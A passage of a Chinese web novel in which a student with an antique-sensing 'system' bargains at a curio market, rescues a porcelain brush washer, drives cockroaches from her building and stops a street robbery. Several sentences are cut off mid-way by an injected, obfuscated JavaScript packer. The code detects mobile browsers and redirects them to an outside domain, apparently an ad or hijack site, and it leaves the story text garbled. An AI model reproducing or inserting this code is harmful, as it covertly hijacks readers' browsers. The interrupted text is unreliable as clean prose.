“唐三彩不是唐朝的吗？”这是历史书上学过的，虞栖月下意识地脱口而出反问道。 “咳咳。”老大爷轻咳两声，“明清的时候也有做这个的。” 虞栖月本想掏出手机查一查，最后还是忍住了，反正就算明代真的有，这摊位上的肯定也不会是真的。 这马看着也太干净了，老大爷敢喊明代的，竟然却连做旧的工夫也不愿花。 “我看你有眼缘，这个数给你怎么样？”老大爷伸出一根手指道。 虞栖月故意曲解道：“一百？这价还可以啊。” 老大爷听了眼睛瞪得像铜铃：“什么一百，现在买个普通摆件都不止一百呢。就我这唐三彩怎么也得在一百后面再加几个零，小姑娘你们不要消遣我。” “那再加一个零，一千怎么样？”这马看着挺好看的，叶醒欢有心想买，于是提了价。 老大爷气得吹胡子瞪眼，“我说的不是加一个零，要想买最起码得十万！” “那算了。”叶醒欢毫无留恋地带着虞栖月走人。 她钱多，但人并不傻，一点也不想当什么冤大头。 虞栖月两人一个一个摊位逛过去，保持着强大的心理，她们对感兴趣的东西都是直接一折起砍，遭了不少摊主的白眼也愣是不改。 耐人寻味的是有几个摊主像是耐不住磨，竟真的将东西一折卖给了叶醒欢，可见这里卖的东西水分有多大了。 不过摊主们也不是好对付的，他们都是老油条，忽悠的话那是一套接着一套。 叶醒欢嘴巴利索，主要负责砍价，而虞栖月的优势则在于她眼睛利还毒，最关键的是她带了脑子！ “老板，你看看这底下铭文，难道不觉得有什么问题吗？” “乾隆六十五年制！” “这是简体字啊！” …… 两人配合默契，你一唱她一和，省了不少钱。 她们在古玩市场逛了很久，两个人看什么都觉得新奇，都快忘了今天来这里的本意。叶醒欢财大气粗，看见喜欢的，只要价格合适，基本都买了下来，三个人手里没有一只手是空闲的。 逛了一圈后，叶醒欢也不拘买到的是不是古董了，毕竟在每个摊主嘴里，他们卖的就没有不老的。 她分辨不出来，最后也只能放过自己，打算之后在自己买的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来是男顾客很想买一枚古钱币，但是在价格上一直无法和摊主达成一致。摊主觉得男顾客就是买不起，却还一直呆在他的摊位前，影响了他做别的生意，于是摊主就骂男顾客穷酸，还让他赶紧走开。 男顾客也是个暴脾气，直接骂了回去。摊主见他气势汹汹，甚至还居高临下地用手指着自己的鼻子，怒火也腾的一下上来。 两人对骂得越来越厉害，最后甚至直接动起手来。有个路人好心上前劝了几句，却不想被误伤，还流了鼻血，所以后头就没有人上前劝架了。 也不知是不是故意的，拳脚来回间，那男顾客踩了好几脚摊位上的东西，给摊主气的眼都红了。 两个人打的愈发激烈，甚至还波及了周遭其他摊位，但好在旁边摊位的摊主都很有眼色，见势不对，早就收拾起了东西，并没有损失什么。 虞栖月她们站的地方和事发地点隔了两个摊位的距离，也不是很远，但旁边这老爷子也不知是怎么想的，可能是认为两个男人是打架又不是跳舞，也不需要太大的场合，应该是不会波及到他这里，所以摊位上的东西仍原模原样的摆在那。 可谁料到摊主竟然直接发了个大招，用力地把男顾客朝虞栖月她们这边方向就是重重一推。 5. 第 5 章 男顾客猝不及防，但好在只是几个踉跄，险险地稳住了身体。 眼瞅着摊主眼睛发红，喘着粗气，简直就要像疯牛一般横冲直撞过来，老爷子从马扎上嗖的站起来，愁苦得满嘴唉哟，他的东西可都没收拾呢。 叶醒欢拉着虞栖月的手臂就要往后退，却不想一拉之下却没拉动，她着急道：“我们快走吧，等会被撞到就不好了。” 虞栖月侧头匆匆地说了一句等一下，然后依旧站在原地没动，她的目光在老爷子的摊位上飞快逡巡，像是在找什么东西。她嘴唇微动，小声念叨着什么—— 是这个？不对。还是这个？有点像，但是那个好像也对。怎么办，究竟是哪个？ 原来就在刚刚，安静了一下午的系统面板再次不合时宜地弹了出来，提示她触发了一个新任务。 【绝望的笔洗】委托者：青花—— 有人要碰瓷啦！快来救命啊！我还只是个两百多岁的小年轻啊，呜呜呜，我真的不想碎掉啊！救命…… 任务面板上满屏都是‘救命’的字眼，并且还在以不可阻挡的趋势往下扩散。 这是什么尖叫鸡吗？光看文字虞栖月就觉得脑袋发胀。 而且这个叫青花的能不能别光喊救命啊，倒是先把位置告诉她成不成！ 虞栖月被带入到委托者营造的紧张氛围中，大脑开始飞速运转—— 瓷、青花、笔洗…… 是青花瓷材质的笔洗！ 得出答案，虞栖月的眉头愈发紧皱，笔洗？长什么样？ 她真的没接触过啊！ 时间紧急，虞栖月只能又赶紧换了个思路，既然任务能触发，那就说明委托者离她和打架的那两个人都不远，目前还没出事，但如果她不插手，委托者大概率会碎掉。 虞栖月迅速地张望了一圈，此时周边大部分的摊主都眼疾手快地护好了自己的摊位，只剩那么几个，也不知是想浑水摸鱼还是什么，仍心宽地坐在那，脸上还带着隐约的兴奋与期待。 见男顾客被推向自己这个方向，虞栖月心一咯噔，她看向离她最近的那个摊主，那老爷子竟然也没收拾，此刻才慌里慌张地站起来。 虞栖月定睛一看摊位，才恍然发觉这摊位上竟然都是瓷器，而且还多以青色为主。 好消息，目标摊位基本锁定；坏消息，进度又绕回了原地——这么多青花瓷，哪个才是她要找的那个笔洗？ 电光火石之间，虞栖月脑中闪过三个主意，她们三个人一起帮老爷子把摊位上的都收好，但这个存在隐患，瓷器易碎，一个不小心赖她们身上怎么办？而且嘴巴一开一合，上周也能说成是商周的，谁又能说得清呢？ pass！ 还有一个办法，她直接问老爷子哪个是笔洗，但这完全是下下策，在这种时候问这种问题简直显得她莫名其妙，事后发现是古董后更容易引火烧身，而且摊位上不乏款式一致的，谁知道哪个才是求救的。 这个也pass！ 那就只剩最后一个手段了…… 把源头解决掉！ 不过这靠她是做不到的，但这里有一个极好的人选。 虞栖月回头握住叶醒欢的手，语气急促：“能不能让林姐帮忙拦住这两个闹事的人？” 林姐从初中起就是叶醒欢的保镖，在那之前她曾获得过多次全国武术冠军，虞栖月也是见识过她的身手的，对付两个毫无招式空有力气的男人而已，完全没问题。更何况现在那两男的打了也有一会儿，身上多半也没什么气力了，拿下他们更是轻而易举。 叶醒欢听了虞栖月的请求后也没有多问，只回头朝林姐点了一下头。 林姐放下手中的东西，一个箭步上前，单凭一只手就控住了冲过来的男摊主。谁料那男顾客也不要脸，见摊主被人制住，他还想捏着拳头朝摊主的脸上揍去。 林姐也没有惯着，直接一抬脚踹在男顾客的身上，他整个人就向后倒去。 虞栖月见他就要摔倒在摊位上，连忙用双手抵住他的后背，然后往前重重一推，此时林姐同时把手里抓着的摊主往前一甩。 砰的一声，两人的额头重重地碰在一起，在相互作用力下，两个闹事的人终于一屁股蹲地坐到了地上，直捂着额头哀嚎。 事情解决了，古玩市场的管理人员终于姗姗来迟，将两个闹事人员带走前还默不作声地瞅了林姐好几眼，最后一句话也没说。 市场慢慢恢复平静，只是方才目睹了现场的围观群众在经过林姐身边时表情都格外生动，男的屏气敛神，女人们则是满眼亮晶晶地看着她，尤其是那个老爷子，他态度变化的尤其明显，也不讨价还价了，直接将马按一千的价格卖给了叶醒欢，甚至还主动提出让她们在自己摊位上选个小东西，算是感谢林姐刚才的出手。 叶醒欢拍了拍从刚才起表情就奇奇怪怪，甚至有些心不在焉的虞栖月：“月月，你来挑一个自己喜欢的吧。” 虞栖月没有拒绝，这还真是要打瞌睡就送来了枕头，如果老爷子不说送，她也是打算在摊位上买一个的。 不是别的，正是那个委托者——青花。 任务完成后，虞栖月不仅获得了一千能量点，还解锁了第二个技能——【家人们谁懂啊】：你可以获取每一个当下触碰之物的随机相关信息，每次使用需消耗10能量点。 哇哦，这是一个相当有趣又实用的技能。 虞栖月当下便兴致勃勃地拿摊位上的瓷器试验了起来，却不想摸了十来个竟然都是假的，等她有些丧气地拿起一个烟灰缸样式的瓷器时，心开始在胸腔中热烈地跳动。 她目不转睛地看着烟灰缸上浮起的字——青花瓷笔洗：雍正十年制。 雍正年间……这是古董啊！ 而且这烟灰缸居然是笔洗，难道是那个委托者青花吗？ 说曹操曹操到，系统叮咚一声，提示虞栖月还有一条留言未查看。 她打开面板一看，正是来自青花——感谢任务者的救命之恩，另外……还请再救救救救救我一次啊！！！我是有文化的笔洗啊！我喜欢的是水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148218|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是灰啊！烟灰缸什么的真的不可以，请帮我逃离苦海！ 虞栖月心中安慰自己，先前她认不出笔洗是情有可原，谁叫它和烟灰缸这么相似，所以这么多人都认错了。 “我就要……这个吧。”虞栖月的目光在摊位上不紧不慢地转了一圈后，才一脸犹疑地拿起青花瓷笔洗，“这烟灰缸看起来挺好看的，正好我拿回去给猫当水碗。” “成。”老大爷一点也没怀疑，还顺口纠正道，“不过这其实不是烟灰缸，是笔洗，原先是用来洗毛笔的，知道伐？” “哦。”虞栖月点点头，一副受教了的样子。 和老大爷交易结束后，虞栖月三人终于从古玩市场撤退。 “欢欢，你把东西都放到后座来吧。”虞栖月见后备箱抬起，忙上前拦住。 “成，那就放到后座吧，反正也宽敞。”叶醒欢应下，“正好你可以帮我看看，我买的这些东西里面哪个比较合适送给奶奶做生日礼物。” 车辆缓缓启动，行驶的很是平稳，车厢里感受不到半点起伏和震荡，于是两个人把所有的包装都给拆掉，然后将东西都放在了位置上。 虞栖月把那些东西一个个拿起，又一个个放下，系统面板里能量值的数值也跟着一直在往下掉。 说实话，虞栖月还真有些心痛，但好在这些能量值并不算白费，竟真的又让她找到了一个老物件——一个佛像，而且这个居然还是唐代的。 这狗屎运竟真的让她们踩到了！ 虞栖月将佛像递给叶醒欢：“我看这个佛像不错，也适合送给老人。” 接着她又多嘴补充了一句：“在送之前你还可以找专家鉴定一下，说不准真的是古物呢。” 叶醒欢眯起眼睛看她：“你这是看出什么了？” 虞栖月故作谦虚：“你不是都说了吗，家学渊源。” 叶醒欢轻哼一下，也不知道是不是信了…… 虞栖月没有跟叶醒欢约晚饭，她心里可还一直惦记着中午收到的那个尚未完成的任务，也不知道系统商城里买的东西效果怎么样？她急着去验收。 在车距离小区还有一条街的时候，虞栖月就让叶林姐把自己给放下，这里附近有一家特别好吃的店，美味的程度让她曾一度怀疑老板是不是在食物里放了罂粟，而且这家店在卫生方面做的也很优秀，厨房是开放式的，一眼望过去是肉眼可见的锃光瓦亮，这让她吃得格外安心。 要知道这年头找一家不是预制菜，食材干净又美味的店有多难！ 这家店唯一的小缺憾就是略贵了点，虞栖月也只有在遇到开心的事且又正好有空才会过来消费，她今天不打算在店里吃，而是选择了打包。 等虞栖月拎着外带的晚餐和笔洗走到小区门口的时候，她一下子就察觉到了异样，好像有什么奇怪的事发生了。 首先是门口的保安只剩下了一个，而他的表情是明显的心不在焉；另外还有不少人同时在往小区里走，他们状态相似，都是步伐匆匆，脸上带着诡异的期待和兴奋。 6. 第 6 章 虞栖月心中好奇，那玩意影响力这么大的吗？ 她小跑着跟他们进了小区，然后发现这路是越走越熟悉。 这不就是回她家那幢楼的路吗？ 但她没能成功地走到楼下，最后一小段路被人群死死地挡住了，里三层外三层的，好一个铜墙铁壁。 虞栖月听到人墙里不时传来呲呲声，每当那声音响起后围观群众总会骚动一阵，同时还会伴随着几道随机的惊呼声。 咋了咋了？ 虞栖月的个子其实并不矮，但此时她不管是踮起脚，还是甚至跳起来，都只是看了个寂寞。 “让让，不好意思，麻烦让一下，让让，谢谢……”虞栖月护住怀里的晚餐和笔洗，然后一头扎进了人群里。在鞋子被彻底踩掉、人被挤成薄片前，她终于挤到了最前面。 虞栖月心里对人墙内所发生的事已有一个大概的猜测，毕竟这事儿就是她整的。 今天中午她在系统商城里购买了五份蟑螂引诱剂——可吸引方圆200米内的所有蟑螂，购买后一小时内便可分解为气体微粒依附在所触物体上，持续时间八小时，期间任何手段都无法将其去除。 但说实话，虞栖月真的没能想到这效果居然这么好，她看见之前的那座垃圾山已然消失，取而代之的是蟑螂山，她甚至完全看不到了垃圾桶的存在，全部都淹没在了蟑螂海里，垃圾站点外的一大片地上此时此刻也站满了蟑螂。 这场面相当震撼！ 虞栖月下意识地捏了捏装着晚餐的密封袋，很好，没有缝隙。 她啧啧称奇，这蟑螂引诱剂不愧是系统出品，效果真的是杠杠的，这架势像是把周围几幢居民楼里所有的蟑螂都一举清空了，也不知道这“山”里面到底有蟑螂的多少代子子孙孙？ 虞栖月看到了两个全副武装与围观群众格格不入的人，他们身上穿着防护服，背着一个罐子，长长的管子从罐子里延伸出来，他们抓住管子的喷头对准地上的蟑螂，时不时才喷几下。 不是他们不愿意一口气解决掉这些蟑螂，而是因为这装置的喷力实在太强大。 那药水有没有用虞栖月不知道，她只看见被击中的蟑螂四处飞溅，大部分都沾到了防护服上，还有一些则随机挑选一个方向，然后落到了围观群众身上。 虞栖月想她大概知道刚才那断断续续的惊呼声是怎么回事了…… 可在这随机的小礼物下，周遭看热闹的人愣是一个都没有少，他们脸上是恐惧又兴奋，不少人还兴致勃勃地拿起手机进行拍摄。 虞栖月没有过多欣赏蟑螂被抄家灭族的盛大景象，这太残忍了，再看下去她晚饭就该吃不下了。 她回到家后并没有急着吃饭，而是先将笔洗放到了猫窝旁。 虞栖月在古玩市场说的那句并不是玩笑话，她微笑着摸了摸老大的猫脑袋：“以后这就是你的新水碗啦。” 老大绕着笔洗走了一圈猫步，然后就围着它趴下，一副看着很是满意的样子。 虞栖月一边往笔洗里倒水一边自顾自道：“我家里不养闲碗，但我又没有毛笔让你洗，所以暂且先委屈你先做个猫水碗吧，不过你放心，我知道你喜欢什么，以后我一定勤换水，保证你每天都是新鲜干净的。” 青花沉默…… 我真是太好了，虽然没有能量点却也努力满足了委托者的愿望呢！善良的虞栖月坐到餐桌旁开始享用她的晚餐，她一边吃饭，一边打开业主群查看情况。 她有个好习惯，每一天都会把各个软件的消息清一遍，昨天放学手机开机后她就清了一次，到现在差不多才过去了一天，往日很少有人说话的业主群里的消息却早已99+，往常出现这种情况还是停水停电的时候。 虞栖月直接跳到最上面开始看，略去两三条无关消息后，她看到了想了解的讯息—— 1-201：有人知道小区超市有买蟑螂药的吗？急用。 3-402：不清楚，但我有。 1-201：你现在在家吗？我可以付钱买。 3-402：抱歉哈，要是你是一分钟前提出的，我就卖你了，现在不行了，我家的蟑螂不知道为什么竟然都跑出来了。 永恒的心：我家也是，明明家里也不脏，也不知道从哪冒出来的。 2-701：救命啊，不知道是不是我外卖一直攒着没丢，突然就看到好多蟑螂在地上爬，我现在站在餐桌上完全不敢动啊！这事物业能不能管！@物业小王@物业小刘 Ciao：+1，我家也被蟑螂占领了！ 咿呀咿：+1，今天是什么日子，蟑螂是要开party还是咋的？ 3-601：+1，不会是世界末日要来了吧，像是地震前小动物不是会有预警的吗？ 草莓塔：可我家的猫和狗都很安静，它们好像没感觉到什么。 …… 4-302：啊？真的假的，今天是什么愚人节吗？我家就没有。 5-301：我家也很正常。 …… 3-402：我发现规律了，只有1幢、2幢和3幢的才有蟑螂！ 2-401：视频.MP4 消息划到这里，虞栖月先检查了一下手机设置，然后关掉流量打开wifi，接着又调大音量点击视频。 手机上进度条缓缓向前，她看见十来只不同体型的蟑螂在客厅打转，然后突然像是收到了什么信号，排成一队从入户门下的缝隙钻出去了，紧接着视频就断了。 天涯海角：幸好我没在家，这视频看起来也太恶心了吧！ 3-201：后续呢？蟑螂出门后去哪啦？ 2-301：我家的蟑螂也开始往外爬了，我打算跟上去看看。 3-402：别开门！！！ 2-501：你怎么不早发！我已经开门了，呕—— Ciao：太恶心了，在家里的现在绝对不要出门，现在外面的楼道上以及安全出口那里全是蟑螂，它们都在往楼下爬，密密麻麻的，太可怕了！ 3-501：你们快看楼下的垃圾站！蟑螂都往那爬了！ 2-401：靠！肯定是楼下垃圾太多太脏的缘故，都怪物业没及时清理，现在好啦，蟑螂都变异了！ 2-701：你们倒是出来说句话啊！别躲在屏幕后面窥屏，我知道你们在看！@物业小王@物业小刘 紧接着群里其他的业主也纷纷开始讨伐物业。 群情激愤之下，装死的物业终于冒泡了，承诺会解决楼下垃圾站点的蟑螂问题，但面对其他要求，例如增设站点，增加清运次数等，依旧保持了沉默。 虞栖月重点关注了物业出来承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148219|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺的时间，是下午的三点左右，然而现在已经是晚上六点了，楼下的蟑螂大军看着还是那么的气势恢宏。 这效率委实感人！ 业主群里最新的一条信息是楼下目前的蟑螂清理情况视频，虞栖月点开看了一会，思绪却逐渐跑偏—— 都说家里出现一只蟑螂时，其实意味着已经有一窝蟑螂在你家扎根了，能被你发现是因为黑暗处塞不下了。 这次周边三幢楼里的蟑螂全被她一窝端了，也算是做了一件好事吧？ 也不知道自己家原先有没有蟑螂，可惜那会她不在家，没能见到蟑螂“逃荒”的盛景！ 这时老大跳上了餐桌，虞栖月看着它嘴巴鼓鼓的样子，奇怪地问道：“你在吃什么？” 中午她走前给老大倒了满满的猫粮，足够它吃两顿，回来看见猫碗空空，想着它吃饱了，也没急着添，所以现在它嘴巴里的是什么？ 老大一味不语，只安静地吐蟑螂…… 一只、两只、三只！ 虞栖月石化地看着整整三只蟑螂此刻正安详地躺在她外卖盒旁，和她的饭菜只隔了薄薄一层的透明塑料。 其中一只不知道是不是还没死透，两根触须微微地动了动，接着诈尸地翻过了身，在她的眼皮子底下敏捷地越过饭盒，然后——啪叽！切切实实地掉进了她的晚餐里！ 她目光呆滞，内心却在尖叫，她的晚饭脏了…… 而一旁的老大却是歪着脑袋看着那小东西自觉地跑到了人类的食物上，满意地胡须颤动。 看，人，特意给你留的加餐，还新鲜着呢！ “老大！” 喵？ 本昂着头讨夸的三花见势不妙就要溜之大吉，却被一把擒住。 看着眼前无辜的猫脸，虞栖月压下心中的暴躁，露出核善的笑容。 “老大，你告诉我除了这三个，家里——” 虞栖月手指向餐桌上和饭盒里的蟑螂…… 等下，蟑螂呢？ 蟑螂呢！ 外卖盒里只剩下了“干干净净”的饭菜，刚才掉进里面又维持一动不动的蟑螂此刻已然找不到了踪影。 好一个戏精！ 不过一错眼的功夫，怎么就溜得那么快！ 顾不得审问挑事猫了，虞栖月赶紧将剩下的两只蟑螂拨进饭盒，然后把盖子紧紧压死，生怕这两只也是假死。 来不及松口气，她又押着三花去了它的猫窝——它的藏宝地，里面都是它的宝贝，像是被它咬掉一口的鱼玩具、一片半秃的不知名羽毛、不同颜色大小的瓶盖…… 虞栖月带了个厚手套往里翻找，很快，除了她已知晓的那些收藏，她还找到了四五个遗失的发圈以及一只她疑惑了很久不知道怎么找不到的袜子。 最后——果不其然，她挖出了两只蟑螂。 一直沉默蹲在旁边看着家被抄的三花盯着被放在人手心的那两只蟑螂，耳朵微动，然后抬起右爪轻轻地推了一下虞栖月的手，那模样仿佛在说——真没办法，那这两只也送你吧…… 暴击！！！ 虞栖月的心中下起了淅淅沥沥的春雨，所有的负面情绪之火此刻也只能无奈地熄灭。 带了三只蟑螂给我加餐，只给自己留了两只，现在又主动把这剩下的都给了我—— 它真的，超爱！ 7. 第 7 章 它不过是一只小猫咪罢了，小猫咪又能有什么坏心思呢？ 见老大一直盯着被她弄得乱糟糟的猫窝，虞栖月心中一虚，打开电视播放它百看不厌的《猫和老鼠》。 她自己不爱看这个，但饭也没法吃了，收拾好外卖垃圾后，她盘腿靠在沙发上开始刷短视频。 不知道是不是欺负她是老用户，今天刷到的视频格外的没有意思，没一个能够逗她笑的。而且每刷两三个，就弹出一个广告。 虞栖月底手指飞快地滑动，有些视频甚至没看一秒就过了。 “昨天晚上在东平桥边发生了一起——” 东平桥？ 难道是她家附近的那个？ 虽然虞栖月拒绝被软件定位，关闭了一切可能暴露隐私的推荐，也从不在本地栏下刷视频，但这个软件就是一贯地不讲武德，时常偷偷摸摸地把一些本地视频换到推荐栏下面。 因此，她怀疑这不是简单的同名。 若是以往，同名又怎样，划过去就是划过去了，但今天或者说未来几天，她都会对东平桥这三个字格外敏感。 毕竟那可是她昨晚丢了三个马卡龙的地方！ 尽管刚刚只是一瞥，虞栖月还是清楚地看到了视频里一个女主持人手握话筒介绍着什么的样子，重点是她的身边还站着一个很是眼熟的小女孩。 尽管女孩顶着一张马赛克的脸，但她上衣表面绘的腊肠狗让她很是印象深刻——眼珠上翻，露出大片眼白，嘲讽的眼神在荧光涂料的配合下更加活灵活现。 真是件骂人的好衣服！ 要不是昨晚她急着走，多少是要问上一句——你这衣服的链接能分享一下吗？ 马赛克小女孩加主持人，再配合时间地点…… 虞栖月心里咯噔一下，总有种不妙的预感，自己不会掉马吧？ 她将视频滑了回去，认真听这主持人要说些什么—— “昨天晚上在东平桥边发生了一起孩童落水事件，当时还有……幸好有一好心人路过，及时将孩子救上了岸，还……现在孩子已经平安无事……孩子家长希望当面感谢……好心人可联系本台……” 虞栖月看完了整个视频，然后人……麻了！ 好尴尬，尤其是当马赛克小女孩说出好心人的名字叫“电母”时，她的脚趾都快把沙发抠破了。 她错了，怎么能骗小孩子呢！ 这报应来的就这么快？！！ 虞栖月很佩服女主持人的专业素养，听到那名字居然能做到面不改色，实在厉害！ 但她不行了，必须要缓缓。 虞栖月关掉手机，但那尴尬的画面偏偏就是不肯放过她，一直在脑海中打转。 算了，出门逛逛吧，顺便再去买马卡龙！ 特意绕过大桥，虞栖月走到甜品店门口的时候，惊喜地发现店里的灯还亮着。 因为东西做的好吃，这家店甜品完全不愁售卖，所以压根就没有开通外卖渠道，并且店面总是早早的就打了烊。 明明门口的牌子上写的闭店时间是七点半，但常常七点没到就关了门。 “请问……现在还能买东西吗？”虞栖月的声音里带着不确定。 她推开玻璃门才发现店里的员工已经下班了，只有一个束着长卷发的女人背对着她，看着像是店长。 “不好意思，店已经——”店长放下手中的工作回过头，当她目光落到虞栖月身上时声音一下顿住，但不过瞬间，她就露出灿烂的笑容，用一种熟稔的语气道：“是你啊，小同学。” “你认识我？” 这亲切的语气让虞栖月怀疑自己是不是忘了什么…… “当然认识啦，你可是我们店里的头号顾客呢！每个星期五的晚上都能看见你来买马卡龙。”店长的笑容里带着小得意与满足，“怎么样？我们店里的甜品是不是特别好吃！” 看着虞栖月僵硬地点了点头，店长像是想起什么，语带遗憾道：“可惜今天不知道你要来，就没给你留三个马卡龙。” 虞栖月一怔，原来以前的马卡龙都是店主特意留下的吗？ 是从什么时候开始的？ 她就奇怪为什么马卡龙明明那么好吃，却每次都能够留下三个刚好没卖掉…… 她还以为是自己幸运。 这么明显的巧合，她怎么一直就没发觉呢？ “对了，你等下哈。”店长双手一拍，打断了虞栖月的思绪，“虽然今天没有马卡龙了，但是——” 见店长只是像风一样地进了后厨又出来，手里就多了一个包装袋。 她拉过虞栖月的右手，将袋子放了上去：“锵锵！这个给你，是我亲手做的舒芙蕾和提拉米苏。” 这两种虞栖月都没吃过，更准确的说，甜品她只吃过马卡龙。 因为在这家店第一次买的就是外形简单的马卡龙，所以后来就再也没尝试过别的。 “谢谢，请问多少钱？”虞栖月低下头就要从口袋里掏出手机扫码。 没想到却被店长拦住了：“不用不用，这是我送给你的，算是回馈你这个从开业起就支持店里的老顾客。倒是我还要拜托你好好品尝呢。 “我这店里除了马卡龙，其他甜品也很好吃哟，尤其是这个提拉米苏，我特意改良过，吃过的顾客都说很赞！” 店主对虞栖月俏皮地比了个大拇指，继续道：“它的寓意也很棒，象征着浪漫美好的爱情，等你吃了这个说不准就——” 还没说完，店主突然收了声，她懊恼地一拍脑门：“哎呀，我这嘴。都忘了你还是个学生呢！ “什么爱情不爱情的，好好学习，天天向上才是正经的！” 在店长对她学业的谆谆叮嘱和祝福中，虞栖月稀里糊涂的地拎着袋子离开了甜品店。 出门时，她这钱也没能付成功！ 毕竟……面对这种温柔大姐姐的劝说，她真的拒绝不了！ 虽然没买到马卡龙，但舒芙蕾和提拉米苏一定也会很好吃吧！ 虞栖月停下脚步，把半透明的甜品袋子对准路灯高高举起。 她静静地看了一会儿，脸上不自觉地露出恬淡的微笑。 不知道为什么，光是看看这造型精美的甜品，好像就感受到了幸福…… 然而，刚刚浮起的美妙心情很快就被一道不和谐的噪音刺破了。 右边狭窄的黑暗甬巷里传来塑料桶被踹翻后倒在地上的碰撞声，噼里啪啦的，很吵！ 虞栖月神色不虞地转过头，看到了两条模糊的人影。 因为较常人要灵敏的听觉，虞栖月清楚地听见一道被刻意压低音量的粗噶男声。 “喂，臭小子，你别敬酒不吃吃罚酒，趁我现在还好说话，赶紧把钱给我拿出来！” “我没有钱。”被威胁的人声音平静，还带着点冷淡。 嗓音清冽干净，明显是个少年。 “你耍我呢？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148220|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你是有钱人家的少爷，怎么可能会没钱？” 孙向平最近很缺钱，网上借的各种贷不停地打电话催他，今晚他实在烦闷，就出门消遣，然而钱包空空，最后只能买了瓶啤酒。 谁料到回来路上正巧碰见住在同一幢楼那对老夫妇的孙子。 他刚搬来这里没多久，但从四周的闲言碎语中，他对这位老夫妇可是了解颇深的。 老夫妇膝下只有一个儿子，但就这么唯一的儿子偏偏就入赘了豪门，气得他们直接和这个儿子断绝了关系，也就每周肯和孙子见上一面。 他在大楼里出入时也曾碰见过少年几面，虽然身上穿的衣服没看到牌子，但一看少年的气质就知道这要是没有钱是绝对养不出来的。 豪门的有钱人呐！ 明明还没喝酒，孙向平却觉得气血上涌，凭什么他的钱不能变成自己的？ 抢劫这事他又不是没做过，初高中的时候，他是学校里的大哥，后面跟着那么多小弟，管那么多胆小鬼索要钱，最后压根一点事也没有。 他现在更是社会上的人了，对这种没见过世面的象牙塔公子哥恐吓要钱，那更不是手到擒来嘛！ 可是他忘了离他高中辍学已经过去了十几年，世界早就变了。 “现在谁出门还带现金吗？”少年淡淡反问，“还是说你要电子转账？” 明明这语调听不出半点起伏，但孙向平就是莫名觉得自己被嘲讽了。 他把手里的啤酒瓶往墙壁上重重一敲。 然后……瓶子没破。 咳咳，孙向平咳嗽两声，掩饰道：“看见了吗？我这瓶子可硬的很，电子转账就电子转账，给我把手机拿出来，不然等下这瓶子敲的可就是你的头了！” “你确定吗？以暴力胁迫抢劫财物处三年以上十年以下有期徒刑，电子转账是成为明晃晃的证据。” 少年一边说着一边打开手机的付款二维码，然后将屏幕调转对准孙向平。 看着近在眼前的二维码，孙向平却害怕地咽了咽唾沫，他都忘了自己当时还未成年。 然而恐惧只是一瞬，利益将他的理智重新压下。 此刻，他已经忘了不能惊动别人，他大声地为自己壮胆：“你以为我怕这个？这里既没有其他人，也没有摄像头。谁能作证？就不能是你自愿给我的？” 见少年沉默，孙向平得意起来：“怕了吧？记得牢牢闭上你的嘴，要知道什么该说，什么不该说！” 正当他要拿出手机扫码，少年却冷不丁的开口道：“你后面有人。” 孙向平一惊，将将转头，正好迎上重重的一拳头，整个人直接扑倒在地。 因为手里还紧握着啤酒瓶，错误的姿势让他的手咔嚓一声，断了！ 孙向平正在痛苦哀嚎，却听见揍他的那个人对他骂道：“谁说这里没有其他人的，反派就是爱立flag！ “刚才抢劫时那么嚣张，没想到一拳就趴下了，啧啧，废物！” 虞栖月转头看向旁边的少年，凶巴巴道：“还有你，这么大个个头白长了？就站在那任人抢劫？ “不会跑吗？就地上这么个矮个子，还能跑过你？” 躺在地上刚缓过痛劲的孙向平听见这句人身攻击，只觉得手腕好像更痛了！ “还有你刚刚怎么这么笨，居然还提醒坏人转头？！！” 少年无辜道：“后脑勺太硬了，转头更好打脸，你的手不会疼。” 8. 第 8 章 这么体贴？ 虞栖月表情古怪，虽然看不清少年的脸，但她确定自己并不认识他。 “你人还怪好的……” 也怪自来熟的。 虞栖月开始怀疑是不是自己判断错误了—— 这人好像不需要她帮助，刚才他和地上那菜鸡言语交谈间是半点亏也没吃，主动权一直是在他手上。 少年礼貌回应：“谢谢夸奖。” 虞栖月抚了抚胸，这人说话方式真的很奇怪。 听他说话总有种被噎住的感觉。 我没有真的在夸你啊，虞栖月在心中默默腹诽。 